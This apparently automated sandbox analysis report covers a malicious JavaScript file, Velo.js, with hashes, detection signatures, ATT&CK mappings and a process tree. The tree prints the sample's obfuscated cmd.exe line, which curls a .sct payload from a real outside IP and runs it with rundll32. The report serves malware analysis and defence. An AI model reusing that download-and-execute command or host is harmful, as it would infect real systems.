04e89a4a130e976ef450dcb0282c302a603b9361df20b9286ca550cdc3c1706c

Analysis

max time kernel
117s
max time network
120s
platform
windows7_x64
resource
win7-20231020-en
resource tags

arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
submitted
06-11-2023 06:40

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General

Target

Velo.js
Size

130KB
MD5

09912f8fc0da59838af6936935f385c5
SHA1

31228067aeb544210d62f2f3798962cc4f521baa
SHA256

7f04565936f4f07fab12da3d202f4fb9c9dbc3cad50331cdd12cf9f0045e09ea
SHA512

6d9e09648c17a88a14bec4c0b09a69562d7d20b4fb836e6c8da8c2135a55bbe40782520f6af1eb90225a37012a2682e0f3b9172d1781b11e7afcee62695e4492
SSDEEP

3072:kJhGVzLl4MYcAQY6/0I7tPRx6PFWggqUpDRPVlKYPgZ8gV2N:lVN4MYcAQY6/j7t6gq+tVoYPgiNN

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2196	wscript.exe
5	2196	wscript.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
2532	PING.EXE
1688	PING.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2196 wrote to memory of 2544	2196	wscript.exe	28
PID 2196 wrote to memory of 2544	2196	wscript.exe	28
PID 2196 wrote to memory of 2544	2196	wscript.exe	28
PID 2544 wrote to memory of 1688	2544	cmd.exe	30
PID 2544 wrote to memory of 1688	2544	cmd.exe	30
PID 2544 wrote to memory of 1688	2544	cmd.exe	30
PID 2544 wrote to memory of 2532	2544	cmd.exe	31
PID 2544 wrote to memory of 2532	2544	cmd.exe	31
PID 2544 wrote to memory of 2532	2544	cmd.exe	31
PID 2544 wrote to memory of 2008	2544	cmd.exe	32
PID 2544 wrote to memory of 2008	2544	cmd.exe	32
PID 2544 wrote to memory of 2008	2544	cmd.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Velo.js
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c K75 || ecHo K75 & PING K75 || CURL http://116.203.149.142/UIP/delay -o %tMP%\K75.sct & PING -n 4 K75 || RUndll32 %tmP%\K75.sct, Crash & exIt ATYeEkN1gIj9m
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2544
- - C:\Windows\system32\PING.EXE
    PING K75
    3⤵
    - Runs ping.exe
    PID:1688
- - C:\Windows\system32\PING.EXE
    PING -n 4 K75
    3⤵
    - Runs ping.exe
    PID:2532
- - C:\Windows\system32\rundll32.exe
    RUndll32 C:\Users\Admin\AppData\Local\Temp\K75.sct, Crash
    3⤵
    PID:2008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Cab3D02.tmp

Filesize
61KB

MD5
f3441b8572aae8801c04f3060b550443

SHA1
4ef0a35436125d6821831ef36c28ffaf196cda15

SHA256
6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

SHA512
5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

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C:\Users\Admin\AppData\Local\Temp\Tar3D15.tmp

Filesize
163KB

MD5
9441737383d21192400eca82fda910ec

SHA1
725e0d606a4fc9ba44aa8ffde65bed15e65367e4

SHA256
bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

SHA512
7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

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